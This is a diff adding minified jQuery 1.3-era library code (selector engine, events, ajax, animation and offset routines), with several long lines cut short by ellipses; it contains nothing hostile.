+return oldSizzle(query,context,extra,seed);};Sizzle.find=oldSizzle.find;Sizzle.filter=oldSizzle.filter;Sizzle.selectors=oldSizzle.selectors;Sizzle.matches=oldSizzle.matches;})();if(document.getElementsByClassName&&document.documentElement.getElementsByClassName)(function(){var div=document.createElement("div");div.innerHTML="<div class='test e'></div><div class='test'></div>";if(div.getElementsByClassName("e").length===0)
+return;div.lastChild.className="e";if(div.getElementsByClassName("e").length===1)
+return;Expr.order.splice(1,0,"CLASS");Expr.find.CLASS=function(match,context,isXML){if(typeof context.getElementsByClassName!=="undefined"&&!isXML){return context.getElementsByClassName(match[1]);}};})();function dirNodeCheck(dir,cur,doneName,checkSet,nodeCheck,isXML){var sibDir=dir=="previousSibling"&&!isXML;for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){if(sibDir&&elem.nodeType===1){elem.sizcache=doneName;elem.sizset=i;}
+elem=elem[dir];var match=false;while(elem){if(elem.sizcache===doneName){match=checkSet[elem.sizset];break;}
+if(elem.nodeType===1&&!isXML){elem.sizcache=doneName;elem.sizset=i;}
+if(elem.nodeName===cur){match=elem;break;}
+elem=elem[dir];}
+checkSet[i]=match;}}}
+function dirCheck(dir,cur,doneName,checkSet,nodeCheck,isXML){var sibDir=dir=="previousSibling"&&!isXML;for(var i=0,l=checkSet.length;i<l;i++){var elem=checkSet[i];if(elem){if(sibDir&&elem.nodeType===1){elem.sizcache=doneName;elem.sizset=i;}
+elem=elem[dir];var match=false;while(elem){if(elem.sizcache===doneName){match=checkSet[elem.sizset];break;}
+if(elem.nodeType===1){if(!isXML){elem.sizcache=doneName;elem.sizset=i;}
+if(typeof cur!=="string"){if(elem===cur){match=true;break;}}else if(Sizzle.filter(cur,[elem]).length>0){match=elem;break;}}
+elem=elem[dir];}
+checkSet[i]=match;}}}
+var contains=document.compareDocumentPosition?function(a,b){return a.compareDocumentPosition(b)&16;}:function(a,b){return a!==b&&(a.contains?a.contains(b):true);};var isXML=function(elem){return elem.nodeType===9&&elem.documentElement.nodeName!=="HTML"||!!elem.ownerDocument&&isXML(elem.ownerDocument);};var posProcess=function(selector,context){var tmpSet=[],later="",match,root=context.nodeType?[context]:context;while((match=Expr.match.PSEUDO.exec(selector))){later+=match[0];selector=sele [...]
+selector=Expr.relative[selector]?selector+"*":selector;for(var i=0,l=root.length;i<l;i++){Sizzle(selector,root[i],tmpSet);}
+return Sizzle.filter(later,tmpSet);};jQuery.find=Sizzle;jQuery.filter=Sizzle.filter;jQuery.expr=Sizzle.selectors;jQuery.expr[":"]=jQuery.expr.filters;Sizzle.selectors.filters.hidden=function(elem){return elem.offsetWidth===0||elem.offsetHeight===0;};Sizzle.selectors.filters.visible=function(elem){return elem.offsetWidth>0||elem.offsetHeight>0;};Sizzle.selectors.filters.animated=function(elem){return jQuery.grep(jQuery.timers,function(fn){return elem===fn.elem;}).length;};jQuery.multiFilt [...]
+return Sizzle.matches(expr,elems);};jQuery.dir=function(elem,dir){var matched=[],cur=elem[dir];while(cur&&cur!=document){if(cur.nodeType==1)
+matched.push(cur);cur=cur[dir];}
+return matched;};jQuery.nth=function(cur,result,dir,elem){result=result||1;var num=0;for(;cur;cur=cur[dir])
+if(cur.nodeType==1&&++num==result)
+break;return cur;};jQuery.sibling=function(n,elem){var r=[];for(;n;n=n.nextSibling){if(n.nodeType==1&&n!=elem)
+r.push(n);}
+return r;};return;window.Sizzle=Sizzle;})();jQuery.event={add:function(elem,types,handler,data){if(elem.nodeType==3||elem.nodeType==8)
+return;if(elem.setInterval&&elem!=window)
+elem=window;if(!handler.guid)
+handler.guid=this.guid++;if(data!==undefined){var fn=handler;handler=this.proxy(fn);handler.data=data;}
+var events=jQuery.data(elem,"events")||jQuery.data(elem,"events",{}),handle=jQuery.data(elem,"handle")||jQuery.data(elem,"handle",function(){return typeof jQuery!=="undefined"&&!jQuery.event.triggered?jQuery.event.handle.apply(arguments.callee.elem,arguments):undefined;});handle.elem=elem;jQuery.each(types.split(/\s+/),function(index,type){var namespaces=type.split(".");type=namespaces.shift();handler.type=namespaces.slice().sort().join(".");var handlers=events[type];if(jQuery.event.spec [...]
+jQuery.event.specialAll[type].setup.call(elem,data,namespaces);if(!handlers){handlers=events[type]={};if(!jQuery.event.special[type]||jQuery.event.special[type].setup.call(elem,data,namespaces)===false){if(elem.addEventListener)
+elem.addEventListener(type,handle,false);else if(elem.attachEvent)
+elem.attachEvent("on"+type,handle);}}
+handlers[handler.guid]=handler;jQuery.event.global[type]=true;});elem=null;},guid:1,global:{},remove:function(elem,types,handler){if(elem.nodeType==3||elem.nodeType==8)
+return;var events=jQuery.data(elem,"events"),ret,index;if(events){if(types===undefined||(typeof types==="string"&&types.charAt(0)=="."))
+for(var type in events)
+this.remove(elem,type+(types||""));else{if(types.type){handler=types.handler;types=types.type;}
+jQuery.each(types.split(/\s+/),function(index,type){var namespaces=type.split(".");type=namespaces.shift();var namespace=RegExp("(^|\\.)"+namespaces.slice().sort().join(".*\\.")+"(\\.|$)");if(events[type]){if(handler)
+delete events[type][handler.guid];else
+for(var handle in events[type])
+if(namespace.test(events[type][handle].type))
+delete events[type][handle];if(jQuery.event.specialAll[type])
+jQuery.event.specialAll[type].teardown.call(elem,namespaces);for(ret in events[type])break;if(!ret){if(!jQuery.event.special[type]||jQuery.event.special[type].teardown.call(elem,namespaces)===false){if(elem.removeEventListener)
+elem.removeEventListener(type,jQuery.data(elem,"handle"),false);else if(elem.detachEvent)
+elem.detachEvent("on"+type,jQuery.data(elem,"handle"));}
+ret=null;delete events[type];}}});}
+for(ret in events)break;if(!ret){var handle=jQuery.data(elem,"handle");if(handle)handle.elem=null;jQuery.removeData(elem,"events");jQuery.removeData(elem,"handle");}}},trigger:function(event,data,elem,bubbling){var type=event.type||event;if(!bubbling){event=typeof event==="object"?event[expando]?event:jQuery.extend(jQuery.Event(type),event):jQuery.Event(type);if(type.indexOf("!")>=0){event.type=type=type.slice(0,-1);event.exclusive=true;}
+if(!elem){event.stopPropagation();if(this.global[type])
+jQuery.each(jQuery.cache,function(){if(this.events&&this.events[type])
+jQuery.event.trigger(event,data,this.handle.elem);});}
+if(!elem||elem.nodeType==3||elem.nodeType==8)
+return undefined;event.result=undefined;event.target=elem;data=jQuery.makeArray(data);data.unshift(event);}
+event.currentTarget=elem;var handle=jQuery.data(elem,"handle");if(handle)
+handle.apply(elem,data);if((!elem[type]||(jQuery.nodeName(elem,'a')&&type=="click"))&&elem["on"+type]&&elem["on"+type].apply(elem,data)===false)
+event.result=false;if(!bubbling&&elem[type]&&!event.isDefaultPrevented()&&!(jQuery.nodeName(elem,'a')&&type=="click")){this.triggered=true;try{elem[type]();}catch(e){}}
+this.triggered=false;if(!event.isPropagationStopped()){var parent=elem.parentNode||elem.ownerDocument;if(parent)
+jQuery.event.trigger(event,data,parent,true);}},handle:function(event){var all,handlers;event=arguments[0]=jQuery.event.fix(event||window.event);event.currentTarget=this;var namespaces=event.type.split(".");event.type=namespaces.shift();all=!namespaces.length&&!event.exclusive;var namespace=RegExp("(^|\\.)"+namespaces.slice().sort().join(".*\\.")+"(\\.|$)");handlers=(jQuery.data(this,"events")||{})[event.type];for(var j in handlers){var handler=handlers[j];if(all||namespace.test(handler. [...]
+if(event.isImmediatePropagationStopped())
+break;}}},props:"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which".split(" "),fix:function(event){if(event[expando])
+return event;var originalEvent=event;event=jQuery.Event(originalEvent);for(var i=this.props.length,prop;i;){prop=this.props[--i];event[prop]=originalEvent[prop];}
+if(!event.target)
+event.target=event.srcElement||document;if(event.target.nodeType==3)
+event.target=event.target.parentNode;if(!event.relatedTarget&&event.fromElement)
+event.relatedTarget=event.fromElement==event.target?event.toElement:event.fromElement;if(event.pageX==null&&event.clientX!=null){var doc=document.documentElement,body=document.body;event.pageX=event.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc.clientLeft||0);event.pageY=event.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc.clientTop||0);}
+if(!event.which&&((event.charCode||event.charCode===0)?event.charCode:event.keyCode))
+event.which=event.charCode||event.keyCode;if(!event.metaKey&&event.ctrlKey)
+event.metaKey=event.ctrlKey;if(!event.which&&event.button)
+event.which=(event.button&1?1:(event.button&2?3:(event.button&4?2:0)));return event;},proxy:function(fn,proxy){proxy=proxy||function(){return fn.apply(this,arguments);};proxy.guid=fn.guid=fn.guid||proxy.guid||this.guid++;return proxy;},special:{ready:{setup:bindReady,teardown:function(){}}},specialAll:{live:{setup:function(selector,namespaces){jQuery.event.add(this,namespaces[0],liveHandler);},teardown:function(namespaces){if(namespaces.length){var remove=0,name=RegExp("(^|\\.)"+namespac [...]
+remove++;});if(remove<1)
+jQuery.event.remove(this,namespaces[0],liveHandler);}}}}};jQuery.Event=function(src){if(!this.preventDefault)
+return new jQuery.Event(src);if(src&&src.type){this.originalEvent=src;this.type=src.type;}else
+this.type=src;this.timeStamp=now();this[expando]=true;};function returnFalse(){return false;}
+function returnTrue(){return true;}
+jQuery.Event.prototype={preventDefault:function(){this.isDefaultPrevented=returnTrue;var e=this.originalEvent;if(!e)
+return;if(e.preventDefault)
+e.preventDefault();e.returnValue=false;},stopPropagation:function(){this.isPropagationStopped=returnTrue;var e=this.originalEvent;if(!e)
+return;if(e.stopPropagation)
+e.stopPropagation();e.cancelBubble=true;},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=returnTrue;this.stopPropagation();},isDefaultPrevented:returnFalse,isPropagationStopped:returnFalse,isImmediatePropagationStopped:returnFalse};var withinElement=function(event){var parent=event.relatedTarget;while(parent&&parent!=this)
+try{parent=parent.parentNode;}
+catch(e){parent=this;}
+if(parent!=this){event.type=event.data;jQuery.event.handle.apply(this,arguments);}};jQuery.each({mouseover:'mouseenter',mouseout:'mouseleave'},function(orig,fix){jQuery.event.special[fix]={setup:function(){jQuery.event.add(this,orig,withinElement,fix);},teardown:function(){jQuery.event.remove(this,orig,withinElement);}};});jQuery.fn.extend({bind:function(type,data,fn){return type=="unload"?this.one(type,data,fn):this.each(function(){jQuery.event.add(this,type,fn||data,fn&&data);});},one: [...]
+jQuery.event.proxy(fn,args[i++]);return this.click(jQuery.event.proxy(fn,function(event){this.lastToggle=(this.lastToggle||0)%i;event.preventDefault();return args[this.lastToggle++].apply(this,arguments)||false;}));},hover:function(fnOver,fnOut){return this.mouseenter(fnOver).mouseleave(fnOut);},ready:function(fn){bindReady();if(jQuery.isReady)
+fn.call(document,jQuery);else
+jQuery.readyList.push(fn);return this;},live:function(type,fn){var proxy=jQuery.event.proxy(fn);proxy.guid+=this.selector+type;jQuery(document).bind(liveConvert(type,this.selector),this.selector,proxy);return this;},die:function(type,fn){jQuery(document).unbind(liveConvert(type,this.selector),fn?{guid:fn.guid+this.selector+type}:null);return this;}});function liveHandler(event){var check=RegExp("(^|\\.)"+event.type+"(\\.|$)"),stop=true,elems=[];jQuery.each(jQuery.data(this,"events").live [...]
+elems.push({elem:elem,fn:fn});}});elems.sort(function(a,b){return jQuery.data(a.elem,"closest")-jQuery.data(b.elem,"closest");});jQuery.each(elems,function(){if(this.fn.call(this.elem,event,this.fn.data)===false)
+return(stop=false);});return stop;}
+function liveConvert(type,selector){return["live",type,selector.replace(/\./g,"`").replace(/ /g,"|")].join(".");}
+jQuery.extend({isReady:false,readyList:[],ready:function(){if(!jQuery.isReady){jQuery.isReady=true;if(jQuery.readyList){jQuery.each(jQuery.readyList,function(){this.call(document,jQuery);});jQuery.readyList=null;}
+jQuery(document).triggerHandler("ready");}}});var readyBound=false;function bindReady(){if(readyBound)return;readyBound=true;if(document.addEventListener){document.addEventListener("DOMContentLoaded",function(){document.removeEventListener("DOMContentLoaded",arguments.callee,false);jQuery.ready();},false);}else if(document.attachEvent){document.attachEvent("onreadystatechange",function(){if(document.readyState==="complete"){document.detachEvent("onreadystatechange",arguments.callee);jQue [...]
+jQuery.ready();})();}
+jQuery.event.add(window,"load",jQuery.ready);}
+jQuery.each(("blur,focus,load,resize,scroll,unload,click,dblclick,"+
+"mousedown,mouseup,mousemove,mouseover,mouseout,mouseenter,mouseleave,"+
+"change,select,submit,keydown,keypress,keyup,error").split(","),function(i,name){jQuery.fn[name]=function(fn){return fn?this.bind(name,fn):this.trigger(name);};});jQuery(window).bind('unload',function(){for(var id in jQuery.cache)
+if(id!=1&&jQuery.cache[id].handle)
+jQuery.event.remove(jQuery.cache[id].handle.elem);});(function(){jQuery.support={};var root=document.documentElement,script=document.createElement("script"),div=document.createElement("div"),id="script"+(new Date).getTime();div.style.display="none";div.innerHTML=' <link/><table></table><a href="/a" style="color:red;float:left;opacity:.5;">a</a><select><option>text</option></select><object><param/></object>';var all=div.getElementsByTagName("*"),a=div.getElementsByTagName("a")[0];if(!al [...]
+jQuery.support={leadingWhitespace:div.firstChild.nodeType==3,tbody:!div.getElementsByTagName("tbody").length,objectAll:!!div.getElementsByTagName("object")[0]
+.getElementsByTagName("*").length,htmlSerialize:!!div.getElementsByTagName("link").length,style:/red/.test(a.getAttribute("style")),hrefNormalized:a.getAttribute("href")==="/a",opacity:a.style.opacity==="0.5",cssFloat:!!a.style.cssFloat,scriptEval:false,noCloneEvent:true,boxModel:null};script.type="text/javascript";try{script.appendChild(document.createTextNode("window."+id+"=1;"));}catch(e){}
+root.insertBefore(script,root.firstChild);if(window[id]){jQuery.support.scriptEval=true;delete window[id];}
+root.removeChild(script);if(div.attachEvent&&div.fireEvent){div.attachEvent("onclick",function(){jQuery.support.noCloneEvent=false;div.detachEvent("onclick",arguments.callee);});div.cloneNode(true).fireEvent("onclick");}
+jQuery(function(){var div=document.createElement("div");div.style.width=div.style.paddingLeft="1px";document.body.appendChild(div);jQuery.boxModel=jQuery.support.boxModel=div.offsetWidth===2;document.body.removeChild(div).style.display='none';});})();var styleFloat=jQuery.support.cssFloat?"cssFloat":"styleFloat";jQuery.props={"for":"htmlFor","class":"className","float":styleFloat,cssFloat:styleFloat,styleFloat:styleFloat,readonly:"readOnly",maxlength:"maxLength",cellspacing:"cellSpacing" [...]
+return this._load(url);var off=url.indexOf(" ");if(off>=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}
+var type="GET";if(params)
+if(jQuery.isFunction(params)){callback=params;params=null;}else if(typeof params==="object"){params=jQuery.param(params);type="POST";}
+var self=this;jQuery.ajax({url:url,type:type,dataType:"html",data:params,complete:function(res,status){if(status=="success"||status=="notmodified")
+self.html(selector?jQuery("<div/>")
+.append(res.responseText.replace(/<script(.|\s)*?\/script>/g,""))
+.find(selector):res.responseText);if(callback)
+self.each(callback,[res.responseText,status,res]);}});return this;},serialize:function(){return jQuery.param(this.serializeArray());},serializeArray:function(){return this.map(function(){return this.elements?jQuery.makeArray(this.elements):this;})
+.filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password|search/i.test(this.type));})
+.map(function(i,elem){var val=jQuery(this).val();return val==null?null:jQuery.isArray(val)?jQuery.map(val,function(val,i){return{name:elem.name,value:val};}):{name:elem.name,value:val};}).get();}});jQuery.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(i,o){jQuery.fn[o]=function(f){return this.bind(o,f);};});var jsc=now();jQuery.extend({get:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data=null;}
+return jQuery.ajax({type:"GET",url:url,data:data,success:callback,dataType:type});},getScript:function(url,callback){return jQuery.get(url,null,callback,"script");},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json");},post:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data={};}
+return jQuery.ajax({type:"POST",url:url,data:data,success:callback,dataType:type});},ajaxSetup:function(settings){jQuery.extend(jQuery.ajaxSettings,settings);},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:function(){return window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest();},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/j [...]
+s.data=jQuery.param(s.data);if(s.dataType=="jsonp"){if(type=="GET"){if(!s.url.match(jsre))
+s.url+=(s.url.match(/\?/)?"&":"?")+(s.jsonp||"callback")+"=?";}else if(!s.data||!s.data.match(jsre))
+s.data=(s.data?s.data+"&":"")+(s.jsonp||"callback")+"=?";s.dataType="json";}
+if(s.dataType=="json"&&(s.data&&s.data.match(jsre)||s.url.match(jsre))){jsonp="jsonp"+jsc++;if(s.data)
+s.data=(s.data+"").replace(jsre,"="+jsonp+"$1");s.url=s.url.replace(jsre,"="+jsonp+"$1");s.dataType="script";window[jsonp]=function(tmp){data=tmp;success();complete();window[jsonp]=undefined;try{delete window[jsonp];}catch(e){}
+if(head)
+head.removeChild(script);};}
+if(s.dataType=="script"&&s.cache==null)
+s.cache=false;if(s.cache===false&&type=="GET"){var ts=now();var ret=s.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+ts+"$2");s.url=ret+((ret==s.url)?(s.url.match(/\?/)?"&":"?")+"_="+ts:"");}
+if(s.data&&type=="GET"){s.url+=(s.url.match(/\?/)?"&":"?")+s.data;s.data=null;}
+if(s.global&&!jQuery.active++)
+jQuery.event.trigger("ajaxStart");var parts=/^(\w+:)?\/\/([^\/?#]+)/.exec(s.url);if(s.dataType=="script"&&type=="GET"&&parts&&(parts[1]&&parts[1]!=location.protocol||parts[2]!=location.host)){var head=document.getElementsByTagName("head")[0];var script=document.createElement("script");script.src=s.url;if(s.scriptCharset)
+script.charset=s.scriptCharset;if(!jsonp){var done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){done=true;success();complete();script.onload=script.onreadystatechange=null;head.removeChild(script);}};}
+head.appendChild(script);return undefined;}
+var requestDone=false;var xhr=s.xhr();if(s.username)
+xhr.open(type,s.url,s.async,s.username,s.password);else
+xhr.open(type,s.url,s.async);try{if(s.data)
+xhr.setRequestHeader("Content-Type",s.contentType);if(s.ifModified)
+xhr.setRequestHeader("If-Modified-Since",jQuery.lastModified[s.url]||"Thu, 01 Jan 1970 00:00:00 GMT");xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");xhr.setRequestHeader("Accept",s.dataType&&s.accepts[s.dataType]?s.accepts[s.dataType]+", */*":s.accepts._default);}catch(e){}
+if(s.beforeSend&&s.beforeSend(xhr,s)===false){if(s.global&&!--jQuery.active)
+jQuery.event.trigger("ajaxStop");xhr.abort();return false;}
+if(s.global)
+jQuery.event.trigger("ajaxSend",[xhr,s]);var onreadystatechange=function(isTimeout){if(xhr.readyState==0){if(ival){clearInterval(ival);ival=null;if(s.global&&!--jQuery.active)
+jQuery.event.trigger("ajaxStop");}
+}else if(!requestDone&&xhr&&(xhr.readyState==4||isTimeout=="timeout")){requestDone=true;if(ival){clearInterval(ival);ival=null;}
+status=isTimeout=="timeout"?"timeout":!jQuery.httpSuccess(xhr)?"error":s.ifModified&&jQuery.httpNotModified(xhr,s.url)?"notmodified":"success";if(status=="success"){try{data=jQuery.httpData(xhr,s.dataType,s);}catch(e){status="parsererror";}}
+if(status=="success"){var modRes;try{modRes=xhr.getResponseHeader("Last-Modified");}catch(e){}
+if(s.ifModified&&modRes)
+jQuery.lastModified[s.url]=modRes;if(!jsonp)
+success();}else
+jQuery.handleError(s,xhr,status);complete();if(isTimeout)
+xhr.abort();if(s.async)
+xhr=null;}};if(s.async){var ival=setInterval(onreadystatechange,13);if(s.timeout>0)
+setTimeout(function(){if(xhr&&!requestDone)
+onreadystatechange("timeout");},s.timeout);}
+try{xhr.send(s.data);}catch(e){jQuery.handleError(s,xhr,null,e);}
+if(!s.async)
+onreadystatechange();function success(){if(s.success)
+s.success(data,status);if(s.global)
+jQuery.event.trigger("ajaxSuccess",[xhr,s]);}
+function complete(){if(s.complete)
+s.complete(xhr,status);if(s.global)
+jQuery.event.trigger("ajaxComplete",[xhr,s]);if(s.global&&!--jQuery.active)
+jQuery.event.trigger("ajaxStop");}
+return xhr;},handleError:function(s,xhr,status,e){if(s.error)s.error(xhr,status,e);if(s.global)
+jQuery.event.trigger("ajaxError",[xhr,s,e]);},active:0,httpSuccess:function(xhr){try{return!xhr.status&&location.protocol=="file:"||(xhr.status>=200&&xhr.status<300)||xhr.status==304||xhr.status==1223;}catch(e){}
+return false;},httpNotModified:function(xhr,url){try{var xhrRes=xhr.getResponseHeader("Last-Modified");return xhr.status==304||xhrRes==jQuery.lastModified[url];}catch(e){}
+return false;},httpData:function(xhr,type,s){var ct=xhr.getResponseHeader("content-type"),xml=type=="xml"||!type&&ct&&ct.indexOf("xml")>=0,data=xml?xhr.responseXML:xhr.responseText;if(xml&&data.documentElement.tagName=="parsererror")
+throw"parsererror";if(s&&s.dataFilter)
+data=s.dataFilter(data,type);if(typeof data==="string"){if(type=="script")
+jQuery.globalEval(data);if(type=="json")
+data=window["eval"]("("+data+")");}
+return data;},param:function(a){var s=[];function add(key,value){s[s.length]=encodeURIComponent(key)+'='+encodeURIComponent(value);};if(jQuery.isArray(a)||a.jquery)
+jQuery.each(a,function(){add(this.name,this.value);});else
+for(var j in a)
+if(jQuery.isArray(a[j]))
+jQuery.each(a[j],function(){add(j,this);});else
+add(j,jQuery.isFunction(a[j])?a[j]():a[j]);return s.join("&").replace(/%20/g,"+");}});var elemdisplay={},timerId,fxAttrs=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];function genFx(type,num){var obj={};jQuery.each(fxAttrs.concat.apply([],fxAttrs.slice(0,num)),function(){obj[this]=type;});return obj;}
+jQuery.fn.extend({show:function(speed,callback){if(speed){return this.animate(genFx("show",3),speed,callback);}else{for(var i=0,l=this.length;i<l;i++){var old=jQuery.data(this[i],"olddisplay");this[i].style.display=old||"";if(jQuery.css(this[i],"display")==="none"){var tagName=this[i].tagName,display;if(elemdisplay[tagName]){display=elemdisplay[tagName];}else{var elem=jQuery("<"+tagName+" />").appendTo("body");display=elem.css("display");if(display==="none")
+display="block";elem.remove();elemdisplay[tagName]=display;}
+jQuery.data(this[i],"olddisplay",display);}}
+for(var i=0,l=this.length;i<l;i++){this[i].style.display=jQuery.data(this[i],"olddisplay")||"";}
+return this;}},hide:function(speed,callback){if(speed){return this.animate(genFx("hide",3),speed,callback);}else{for(var i=0,l=this.length;i<l;i++){var old=jQuery.data(this[i],"olddisplay");if(!old&&old!=="none")
+jQuery.data(this[i],"olddisplay",jQuery.css(this[i],"display"));}
+for(var i=0,l=this.length;i<l;i++){this[i].style.display="none";}
+return this;}},_toggle:jQuery.fn.toggle,toggle:function(fn,fn2){var bool=typeof fn==="boolean";return jQuery.isFunction(fn)&&jQuery.isFunction(fn2)?this._toggle.apply(this,arguments):fn==null||bool?this.each(function(){var state=bool?fn:jQuery(this).is(":hidden");jQuery(this)[state?"show":"hide"]();}):this.animate(genFx("toggle",3),fn,fn2);},fadeTo:function(speed,to,callback){return this.animate({opacity:to},speed,callback);},animate:function(prop,speed,easing,callback){var optall=jQuery [...]
+return opt.complete.call(this);if((p=="height"||p=="width")&&this.style){opt.display=jQuery.css(this,"display");opt.overflow=this.style.overflow;}}
+if(opt.overflow!=null)
+this.style.overflow="hidden";opt.curAnim=jQuery.extend({},prop);jQuery.each(prop,function(name,val){var e=new jQuery.fx(self,opt,name);if(/toggle|show|hide/.test(val))
+e[val=="toggle"?hidden?"show":"hide":val](prop);else{var parts=val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),start=e.cur(true)||0;if(parts){var end=parseFloat(parts[2]),unit=parts[3]||"px";if(unit!="px"){self.style[name]=(end||1)+unit;start=((end||1)/e.cur(true))*start;self.style[name]=start+unit;}
+if(parts[1])
+end=((parts[1]=="-="?-1:1)*end)+start;e.custom(start,end,unit);}else
+e.custom(start,val,"");}});return true;});},stop:function(clearQueue,gotoEnd){var timers=jQuery.timers;if(clearQueue)
+this.queue([]);this.each(function(){for(var i=timers.length-1;i>=0;i--)
+if(timers[i].elem==this){if(gotoEnd)
+timers[i](true);timers.splice(i,1);}});if(!gotoEnd)
+this.dequeue();return this;}});jQuery.each({slideDown:genFx("show",1),slideUp:genFx("hide",1),slideToggle:genFx("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(name,props){jQuery.fn[name]=function(speed,callback){return this.animate(props,speed,callback);};});jQuery.extend({speed:function(speed,easing,fn){var opt=typeof speed==="object"?speed:{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&!jQuery.isFunction(easi [...]
+jQuery(this).dequeue();if(jQuery.isFunction(opt.old))
+opt.old.call(this);};return opt;},easing:{linear:function(p,n,firstNum,diff){return firstNum+diff*p;},swing:function(p,n,firstNum,diff){return((-Math.cos(p*Math.PI)/2)+0.5)*diff+firstNum;}},timers:[],fx:function(elem,options,prop){this.options=options;this.elem=elem;this.prop=prop;if(!options.orig)
+options.orig={};}});jQuery.fx.prototype={update:function(){if(this.options.step)
+this.options.step.call(this.elem,this.now,this);(jQuery.fx.step[this.prop]||jQuery.fx.step._default)(this);if((this.prop=="height"||this.prop=="width")&&this.elem.style)
+this.elem.style.display="block";},cur:function(force){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))
+return this.elem[this.prop];var r=parseFloat(jQuery.css(this.elem,this.prop,force));return r&&r>-10000?r:parseFloat(jQuery.curCSS(this.elem,this.prop))||0;},custom:function(from,to,unit){this.startTime=now();this.start=from;this.end=to;this.unit=unit||this.unit||"px";this.now=this.start;this.pos=this.state=0;var self=this;function t(gotoEnd){return self.step(gotoEnd);}
+t.elem=this.elem;if(t()&&jQuery.timers.push(t)&&!timerId){timerId=setInterval(function(){var timers=jQuery.timers;for(var i=0;i<timers.length;i++)
+if(!timers[i]())
+timers.splice(i--,1);if(!timers.length){clearInterval(timerId);timerId=undefined;}},13);}},show:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());jQuery(this.elem).show();},hide:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0);},step:function(gotoEnd){var t=now();if(gotoEnd||t>=this.options.d [...]
+if(this.options.curAnim[i]!==true)
+done=false;if(done){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(jQuery.css(this.elem,"display")=="none")
+this.elem.style.display="block";}
+if(this.options.hide)
+jQuery(this.elem).hide();if(this.options.hide||this.options.show)
+for(var p in this.options.curAnim)
+jQuery.attr(this.elem.style,p,this.options.orig[p]);this.options.complete.call(this.elem);}
+return false;}else{var n=t-this.startTime;this.state=n/this.options.duration;this.pos=jQuery.easing[this.options.easing||(jQuery.easing.swing?"swing":"linear")](this.state,n,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update();}
+return true;}};jQuery.extend(jQuery.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){if(fx.elem.style&&fx.elem.style[fx.prop]!=null)
+fx.elem.style[fx.prop]=fx.now+fx.unit;else
+fx.elem[fx.prop]=fx.now;}}});if(document.documentElement["getBoundingClientRect"])
+jQuery.fn.offset=function(){if(!this[0])return{top:0,left:0};if(this[0]===this[0].ownerDocument.body)return jQuery.offset.bodyOffset(this[0]);var box=this[0].getBoundingClientRect(),doc=this[0].ownerDocument,body=doc.body,docElem=doc.documentElement,clientTop=docElem.clientTop||body.clientTop||0,clientLeft=docElem.clientLeft||body.clientLeft||0,top=box.top+(self.pageYOffset||jQuery.boxModel&&docElem.scrollTop||body.scrollTop)-clientTop,left=box.left+(self.pageXOffset||jQuery.boxModel&&do [...]
+jQuery.fn.offset=function(){if(!this[0])return{top:0,left:0};if(this[0]===this[0].ownerDocument.body)return jQuery.offset.bodyOffset(this[0]);jQuery.offset.initialized||jQuery.offset.initialize();var elem=this[0],offsetParent=elem.offsetParent,prevOffsetParent=elem,doc=elem.ownerDocument,computedStyle,docElem=doc.documentElement,body=doc.body,defaultView=doc.defaultView,prevComputedStyle=defaultView.getComputedStyle(elem,null),top=elem.offsetTop,left=elem.offsetLeft;while((elem=elem.pare [...]
+top+=parseInt(computedStyle.borderTopWidth,10)||0,left+=parseInt(computedStyle.borderLeftWidth,10)||0;prevOffsetParent=offsetParent,offsetParent=elem.offsetParent;}
+if(jQuery.offset.subtractsBorderForOverflowNotVisible&&computedStyle.overflow!=="visible")
+top+=parseInt(computedStyle.borderTopWidth,10)||0,left+=parseInt(computedStyle.borderLeftWidth,10)||0;prevComputedStyle=computedStyle;}
+if(prevComputedStyle.position==="relative"||prevComputedStyle.position==="static")
+top+=body.offsetTop,left+=body.offsetLeft;if(prevComputedStyle.position==="fixed")
+top+=Math.max(docElem.scrollTop,body.scrollTop),left+=Math.max(docElem.scrollLeft,body.scrollLeft);return{top:top,left:left};};jQuery.offset={initialize:function(){if(this.initialized)return;var body=document.body,container=document.createElement('div'),innerDiv,checkDiv,table,td,rules,prop,bodyMarginTop=body.style.marginTop,html='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top [...]
